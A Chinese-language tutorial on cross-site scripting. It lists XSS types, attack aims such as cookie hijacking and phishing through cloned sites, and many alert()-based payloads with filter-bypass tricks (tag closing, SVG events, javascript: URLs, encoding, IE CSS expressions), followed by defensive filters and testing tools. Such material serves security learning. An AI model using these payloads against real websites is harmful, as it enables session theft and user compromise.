XSS注入
介绍:
跨站脚本攻击(Cross Site Scripting)。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
分类
- 存储型XSS
- 反射型XSS
- DOM型XSS
攻击
- 劫持cookie,身份伪造
- 篡改网页元素
- 指向流量URL
- 指向恶意URL(使用beef进行恶意链接生成,利用hook.js执行其他命令)
盗取用户信息
- 克隆网站(使用setookit克隆网站)
- 存储型XSS,跳转克隆网站
- 查看盗取的账号和密码
没有过滤的XSS
- 构造一个独一无二且不会被识别为恶意代码的字符串来提交页面
- 用开发者工具进行审查,查找字符串是否在页面中显示
闭合文本标签利用XSS
- 简单的payload:
<script>alert();</script>
- 闭合标签payload:
</b><script>alert()</script>
属性中的XSS
"><script>alert()</script>
" onmousover=alert()>
选择列表的XSS(select / option)
-
结构:
<select>
<option value="1">选项1</option>
<option value="2">选项2</option>
</select>
-
闭合触发XSS
Japan</option><script>alert()</script>
hidden表单中的XSS
- 抓包测试
SVG中的XSS
- svg使用XML格式定义图像
- 可嵌入HTML文档:
<embed>
、<object>
、<iframe>
,也可以使用svg标签插入 <svg 事件="">
- 闭合触发XSS:
"><svg onload=alert()>%0a
限制输入长度的XSS
- input表单属性:value、readonly、disabled、size、maxlength
- 使用开发者工具修改maxlength限制
- payload触发XSS:
"><svg/onload=alert()>%0a
HTML事件
- 独一无二字符串提交,在响应中寻找。
- 通过HTML事件触发XSS:
" onmouseover="alert()"
- 闭合input表单,加入
<script>alert()</script>
空格分隔属性的XSS
- 输入后,在input标签的value属性中回显
- 输入:
111" onmouseover="alert()
JavaScript伪协议的XSS
- JS伪协议:将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。eg:
javascript:alert("1");console.log("s")
- 发现漏洞:设置独一无二字符串,在相应中寻找
- 注入payload:
javascript:alert("1");
绕过过滤domain为空的XSS
- 构造特殊无害字符串,响应中寻找字符串
- 寻找过滤内容
- 绕过方法:
- 双写绕过:
"> <script>alert(document.dodomainmain);</script>
- 编码绕过:
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
- 双写绕过:
绕过替换script和on事件XSS
- 构造特殊无害字符串,响应中寻找字符串
- 寻找过滤内容
- 思考绕过策略
- 伪协议绕过:
"> <a href=”javascript:alert(document.domain)”>xss</a>
- 空格绕过:
"><a href="javascr ipt:alert(document.domain);">xss</a>"><a
- 伪协议绕过:
利用IE特性绕过XSS过滤
- 构造特殊无害字符串,响应中寻找字符串
- 基本XSS利用
- IE特性:IE中,两个反引号( ` )可以闭合一个左边双引号
- Payload触发XSS:```οnmοusemοve="alert()`
利用CSS特性绕过XSS过滤
- 构造特殊无害字符串,响应中寻找字符串
- 利用XSS(1.触发XSS 2.闭合input,利用外部标签触发)
- background:url(“javascript:alert(document.domain);”);
- (设置background:url,利用javascript执行js,目前IE支持,其他浏览器已不再支持)
- payload触发XSS:
background-color:#f00; background:url("javascript:alert(document.domain);");
IE中利用CSS触发XSS
-
CSS中执行JS:css expression(css表达式),又称Dynamic properties(动态属性),是早期微软DHTML的产物,以其可以在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支持。
-
CSS中的注释:/**/
-
绕过关键字expression的过滤:ex/**/pression
-
payload:
xss:expres/**/sion( if( !window.x ){ alert(document.domain); window.x=1; } )
十六进制绕过过滤触发XSS
- 构造特殊无害字符串,响应中寻找字符串
- 双斜杠 + 16进制绕过:\x3c <=> < , \x3e <=> >
- payload:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode绕过过滤触发XSS
- 构造特殊无害字符串,响应中寻找字符串
- 双斜杠 + Unicode绕过:\u003c <=> <, \u003e <=> >
- payload:
\u003cscript\u003ealert(document.domain);\u003cc/script\u003e
浏览器同源策略
- 源是由协议、主机名、端口名组成。
- IE源的特殊处理:
- 位于可信域(Trust Zones)的互信的域名间,不受同源策略限制。(SB IE!!!)
- IE在判断同源时不考虑端口。(SB IE!!!)
cookie的http-only设置
- setcookie(“abc”, “test”, NULL, NULL, NULL, NULL, TRUE); 设置secure参数为true之后,就不能使用js获取cookie
XSS-filter过滤器介绍
- htmlspecialchars(string,flags,character-set,double_encode)函数:把预定义的字符转换为HTML实体
- htmlentitles(string,flags,character-set,double_encode)函数:将特殊字符转换为HTML实体。eg:
<
:<
- strip_tags(string,allow)函数:剥去字符串中的 HTML、XML 以及 PHP 的标签
- 自定义XSS filter
编码转义介绍
-
URL编码:(目的:不安全字符安全传输)
-
考虑到安全传输问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。
-
另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)
-
百分号编码:**url编码包含一个百分号(%),后面跟着两个表示字符ASCII码的十六进制数。**例如:空格转为“%20”。
-
-
HTML编码:
- 一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。
- 实体编码:一般以“&”开头,“;”结尾,可以不加“;”。如:“<”转为“<”
- 进制编码:以“&#”开头,加上字符的数值,“;”结尾,可以不加“;”。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加“x”。如:“<”转为十进制的“<”或十六进制的“<”。
-
JS编码:
- 数字形式:\u后面加4位16进制数字(或\x后加2位16进制数字),按字符的uncode数值编码,不足位数以零填充。如:“<”转为“\u003c”或“\x3c”。其中“\u”开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以。
XSS过滤器绕过
- 白盒:找到过滤函数
- kali自带字典,在CTF中常用
- Burpsuite自动化探测
- 关注最新的HTML内容,如H5中新增:video、audio标签
XSS发生位置
- GET型URL中
- POST型表单中
- JSON中
- 自定义HTTP头中
定向XSS挖掘
- XSS可以存在于个人资料处、文章发表、留言评论
- 黑名单审计:某些位置没有被实体化,可以进行XSS,但是被黑名单过滤
- 绕过过滤,触发XSS
工具
-
xsser
- 启动:xsser --gtk
-
XSStrike
- 安装:git clone https://github.com/s0md3v/XSStrike.git